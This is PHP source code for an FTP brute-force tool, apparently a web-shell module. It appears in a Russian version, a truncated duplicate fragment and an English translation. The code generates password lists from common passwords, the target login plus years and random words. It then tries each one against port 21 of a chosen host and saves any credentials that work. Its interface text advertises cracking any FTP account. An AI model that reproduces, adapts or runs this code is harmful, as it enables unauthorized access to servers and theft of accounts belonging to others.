function brut_ftp() { global $action, $private_site, $title_exp, $login, $host, $file, $chislo, $proverka; set_time_limit(0); ignore_user_abort(1); echo "<br>\r\n<TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white>\r\n<tr><td align=center class=pagetitle><b>Брутфорсер ФТП</b></font></b></td></tr>\r\n<tr><td bgcolor=#FFFFCC><br><blockquote>С помощью данного брутфорсера вы сможете подобрать пароль к любому хостингу без проблем, чтобы было что перебирать я добавил базу\r\nпаролей, которая генерируется на лету ( не пишите большие цифры в <b>колличестве паролей</b> так как это серьезная нагрузка на сервер 10000 вполне хватит) . </blockquote></td></tr>\r\n</table>"; echo "\r\n <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white>\r\n <form action='{$PHP_SELF}?action=brut_ftp' method=post><tr><td align=left valign=top colspan=3 class=pagetitle>\r\n <b>Brut FTP:</b></td></tr>\r\n <tr> <tr><td align=left valign=top colspan=3 bgcolor=#FFFFCC width=500>\r\n <b>Brutforcer Ftp</b>(полноценный брутфорсер, который работает по методу подстановки паролей, которые берет из файла, файл генерируется сам, вы только указываете число паролей и все перебор начинается!!!)</td></tr>\r\n<tr><td align=center class=pagetitle width=150> FTPHost:</td>\r\n<td align=left width=350> \r\n<input class='inputbox' type='text' name='host' size=50></td></tr>\r\n<tr><td align=center class=pagetitle width=150> Login:</td>\r\n<td align=left width=350> \r\n<input class='inputbox' type='text' name='login' size=50></td></tr>\r\n<tr><td align=center class=pagetitle width=150> Колличество паролей:</td>\r\n<td align=left width=350> \r\n<input class='inputbox' type='text' name='chislo' size=10></td></tr>\r\n<tr><td align=center class=pagetitle width=150> Пароль для проверки:</td>\r\n<td align=left width=350> \r\n<input class='inputbox' type='text' name='proverka' size=50></td></tr>\r\n<tr><td width=500 align=center colspan=2><input type='submit' value='Brut FTP' class=button1 {$style_button}>\r\n</td></tr>\r\n \r\n </form></table>"; function s() { $word = "qwrtypsdfghjklzxcvbnm"; return $word[mt_rand(0, strlen($word) - 1)]; } function g() { $word = "euioam"; return $word[mt_rand(0, strlen($word) - 2)]; } function name0() { return s() . g() . s(); } function name1() { return s() . g() . s() . g(); } function name2() { return s() . g() . g() . s(); } function name3() { return s() . s() . g() . s() . g(); } function name4() { return g() . s() . g() . s() . g(); } function name5() { return g() . g() . s() . g() . s(); } function name6() { return g() . s() . s() . g() . s(); } function name7() { return s() . g() . g() . s() . g(); } function name8() { return s() . g() . s() . g() . g(); } function name9() { return s() . g() . s() . g() . s() . g(); } function name10() { return s() . g() . s() . s() . g() . s() . s(); } function name11() { return s() . g() . s() . s() . g() . s() . s() . g(); } $cool = array(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 99, 100, 111, 111111, 666, 1978, 1979, 1980, 1981, 1982, 1983, 1984, 1985, 1986, 1987, 1988, 1989, 1990, 1991, 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004, 2005); $cool2 = array('q1w2e3', 'qwerty', 'qwerty111111', '123456', '1234567890', '0987654321', 'asdfg', 'zxcvbnm', 'qazwsx', 'q1e3r4w2', 'q1r4e3w2', '1q2w3e', '1q3e2w', 'poiuytrewq', 'lkjhgfdsa', 'mnbvcxz', 'asdf', 'root', 'admin', 'admin123', 'lamer123', 'admin123456', 'administrator', 'administrator123', 'q1w2e3r4t5', 'root123', 'microsoft', 'muther', 'hacker', 'hackers', 'cracker'); function randword() { global $cool; $func = "name" . mt_rand(0, 11); $func2 = "name" . mt_rand(0, 11); switch (mt_rand(0, 11)) { case 0: return $func() . mt_rand(5, 99); case 1: return $func() . "-" . $func2(); case 2: return $func() . $cool[mt_rand(0, count($cool) - 1)]; case 3: return $func() . "!" . $func(); case 4: return randpass(mt_rand(5, 12)); default: return $func(); } } function randpass($len) { $word = "qwertyuiopasdfghjklzxcvbnm1234567890"; $s = ""; for ($i = 0; $i < $len; $i++) { $s .= $word[mt_rand(0, strlen($word) - 1)]; } return $s; } if (@unlink("pass.txt") < 0) { echo "нету ничего"; exit; } $file = "pass.txt"; if ($file && $host && $login) { $cn = mt_rand(30, 30); for ($i = 0; $i < $cn; $i++) { $s = $cool2[$i]; $f = @fopen(pass . ".txt", "a+"); fputs($f, "{$s}\n"); } $cnt2 = mt_rand(43, 43); for ($i = 0; $i < $cnt2; $i++) { $r = $cool[$i]; $f = @fopen(pass . ".txt", "a+"); fputs($f, "{$login}{$r}\n"); } $p = "{$proverka}"; $f = @fopen(pass . ".txt", "a+"); fputs($f, "{$p}\n"); $cnt3 = mt_rand($chislo, $chislo); for ($i = 0; $i < $cnt3; $i++) { $u = randword(); $f = @fopen(pass . ".txt", "a+"); fputs($f, "{$u}\n"); } if (is_file($file)) { $passwd = file($file, 1000); for ($i = 0; $i < count($passwd); $i++) { $stop = false; $password = trim($passwd[$i]); $open_ftp = @fsockopen($host, 21); if ($open_ftp != false) { fputs($open_ftp, "user {$login}\n"); fputs($open_ftp, "pass {$password}\n"); while (!feof($open_ftp) && $stop != true) { $text = fgets($open_ftp, 4096); if (preg_match("/230/", $text)) { $stop = true; $f = @fopen($host . _ftp, "a+"); fputs($f, "Enter on ftp:\nFTPhosting:\t{$host}\nLogin:\t{$login}\nPassword:\t{$password}\n "); echo "\r\n\t \t<TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white>\r\n<tr><td align=center class=pagetitle><b><font color=\"blue\">Поздравляю!!! Пароль подобран.</font></b><br>\r\n Конект: <b>{$host}</b><br> Логин: <b>{$login}</b><br> Пароль: <b>{$password}</b></td></tr></table>\r\n"; exit; } elseif (preg_match("/530/", $text)) { $stop = true; } } fclose($open_ftp); } else { echo "\r\n\t<TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white>\r\n<tr><td align=center class=pagetitle bgcolor=#FF0000><b>Не верно указано фтп хостинга!!! На <b><u>{$host}</u></b> закрыт 21 порт</b></b></td></tr>\r\n</table>\r\n"; exit; } } } } }
$s = $cool2[$i]; $f = @fopen(pass . ".txt", "a+"); fputs($f, "{$s}\n"); } $cnt2 = mt_rand(43, 43); for ($i = 0; $i < $cnt2; $i++) { $r = $cool[$i]; $f = @fopen(pass . ".txt", "a+"); fputs($f, "{$login}{$r}\n"); } $p = "{$testing}"; $f = @fopen(pass . ".txt", "a+"); fputs($f, "{$p}\n"); $cnt3 = mt_rand($number, $number); for ($i = 0; $i < $cnt3; $i++) { $u = randword(); $f = @fopen(pass . ".txt", "a+"); fputs($f, "{$u}\n"); } if (is_file($file)) { $passwd = file($file, 1000); for ($i = 0; $i < count($passwd); $i++) { $stop = false; $password = trim($passwd[$i]); $open_ftp = @fsockopen($host, 21); if ($open_ftp != false) { fputs($open_ftp, "user {$login}\n"); fputs($open_ftp, "pass {$password}\n"); while (!feof($open_ftp) && $stop != true) { $text = fgets($open_ftp, 4096); if (preg_match("/230/", $text)) {
function brut_ftp() { global $action, $private_site, $title_exp, $login, $host, $file, $chislo, $proverka; set_time_limit(0); ignore_user_abort(1); echo "<br>\n\n<TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white>\n\n<tr><td align=center class=pagetitle><b>FTP bruteforce</b></font></b></td></tr>\n<tr><td bgcolor=#FFFFCC><br><blockquote>This is new ftp-bruteforcer it can make his own brute passwords list on the fly he needs nothing to do it, so It's not a problem for you to bryte any ftp account now. But do not write very big value of passwords (10000 will be quite enough) because it mat couse a very heavy server overload . </blockquote></td></tr>\n\n</table>"; echo "\n\n <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white>\n\n <form action='{$PHP_SELF}?action=brut_ftp' method=post><tr><td align=left valign=top colspan=3 class=pagetitle>\n\n <b>Brut FTP:</b></td></tr>\n\n <tr> <tr><td align=left valign=top colspan=3 bgcolor=#FFFFCC width=500>\n\n <b>FTP bruteforce</b>(full bruteforce, you are only to enter a value of number of passwords and brute will begin from password-list file, which script generates itself on the fly!)</td></tr>\n\n<tr><td align=center class=pagetitle width=150> FTPHost:</td>\n\n<td align=left width=350> \n\n<input class='inputbox' type='text' name='host' size=50></td></tr>\n\n<tr><td align=center class=pagetitle width=150> Login:</td>\n\n<td align=left width=350> \n\n<input class='inputbox' type='text' name='login' size=50></td></tr>\n\n<tr><td align=center class=pagetitle width=150> Number of passwords:</td>\n\n<td align=left width=350> \n\n<input class='inputbox' type='text' name='chislo' size=10></td></tr>\n\n<tr><td align=center class=pagetitle width=150> Password to test:</td>\n\n<td align=left width=350> \n\n<input class='inputbox' type='text' name='proverka' size=50></td></tr>\n\n<tr><td width=500 align=center colspan=2><input type='submit' value='FTP brute start' class=button1 {$style_button}>\n\n</td></tr>\n\n\n\n </form></table>"; function s() { $word = "qwrtypsdfghjklzxcvbnm"; return $word[mt_rand(0, strlen($word) - 1)]; } function g() { $word = "euioam"; return $word[mt_rand(0, strlen($word) - 2)]; } function name0() { return s() . g() . s(); } function name1() { return s() . g() . s() . g(); } function name2() { return s() . g() . g() . s(); } function name3() { return s() . s() . g() . s() . g(); } function name4() { return g() . s() . g() . s() . g(); } function name5() { return g() . g() . s() . g() . s(); } function name6() { return g() . s() . s() . g() . s(); } function name7() { return s() . g() . g() . s() . g(); } function name8() { return s() . g() . s() . g() . g(); } function name9() { return s() . g() . s() . g() . s() . g(); } function name10() { return s() . g() . s() . s() . g() . s() . s(); } function name11() { return s() . g() . s() . s() . g() . s() . s() . g(); } $cool = array(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 99, 100, 111, 111111, 666, 1978, 1979, 1980, 1981, 1982, 1983, 1984, 1985, 1986, 1987, 1988, 1989, 1990, 1991, 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004, 2005); $cool2 = array('q1w2e3', 'qwerty', 'qwerty111111', '123456', '1234567890', '0987654321', 'asdfg', 'zxcvbnm', 'qazwsx', 'q1e3r4w2', 'q1r4e3w2', '1q2w3e', '1q3e2w', 'poiuytrewq', 'lkjhgfdsa', 'mnbvcxz', 'asdf', 'root', 'admin', 'admin123', 'lamer123', 'admin123456', 'administrator', 'administrator123', 'q1w2e3r4t5', 'root123', 'microsoft', 'muther', 'hacker', 'hackers', 'cracker'); function randword() { global $cool; $func = "name" . mt_rand(0, 11); $func2 = "name" . mt_rand(0, 11); switch (mt_rand(0, 11)) { case 0: return $func() . mt_rand(5, 99); case 1: return $func() . "-" . $func2(); case 2: return $func() . $cool[mt_rand(0, count($cool) - 1)]; case 3: return $func() . "!" . $func(); case 4: return randpass(mt_rand(5, 12)); default: return $func(); } } function randpass($len) { $word = "qwertyuiopasdfghjklzxcvbnm1234567890"; $s = ""; for ($i = 0; $i < $len; $i++) { $s .= $word[mt_rand(0, strlen($word) - 1)]; } return $s; } if (@unlink("pass.txt") < 0) { echo "nothing"; exit; } $file = "pass.txt"; if ($file && $host && $login) { $cn = mt_rand(30, 30); for ($i = 0; $i < $cn; $i++) { $s = $cool2[$i]; $f = @fopen(pass . ".txt", "a+"); fputs($f, "{$s}\n"); } $cnt2 = mt_rand(43, 43); for ($i = 0; $i < $cnt2; $i++) { $r = $cool[$i]; $f = @fopen(pass . ".txt", "a+"); fputs($f, "{$login}{$r}\n"); } $p = "{$proverka}"; $f = @fopen(pass . ".txt", "a+"); fputs($f, "{$p}\n"); $cnt3 = mt_rand($chislo, $chislo); for ($i = 0; $i < $cnt3; $i++) { $u = randword(); $f = @fopen(pass . ".txt", "a+"); fputs($f, "{$u}\n"); } if (is_file($file)) { $passwd = file($file, 1000); for ($i = 0; $i < count($passwd); $i++) { $stop = false; $password = trim($passwd[$i]); $open_ftp = @fsockopen($host, 21); if ($open_ftp != false) { fputs($open_ftp, "user {$login}\n"); fputs($open_ftp, "pass {$password}\n"); while (!feof($open_ftp) && $stop != true) { $text = fgets($open_ftp, 4096); if (preg_match("/230/", $text)) { $stop = true; $f = @fopen($host . _ftp, "a+"); fputs($f, "Enter on ftp:\nFTPhosting:\t{$host}\nLogin:\t{$login}\nPassword:\t{$password}\n "); echo "\n\n\t \t<TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white>\n\n<tr><td align=center class=pagetitle><b><font color=\"blue\">Congratulations! Password is known now.</font></b><br>\n\n Connected to: <b>{$host}</b><br> with login: <b>{$login}</b><br> with password: <b>{$password}</b></td></tr></table>\n\n"; exit; } elseif (preg_match("/530/", $text)) { $stop = true; } } fclose($open_ftp); } else { echo "\n\n\t<TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white>\n\n<tr><td align=center class=pagetitle bgcolor=#FF0000><b>FTP is incorrect!!! At <b><u>{$host}</u></b> 21 port is closed! check your settings</b></b></td></tr>\n\n</table>\n\n"; exit; } } } } }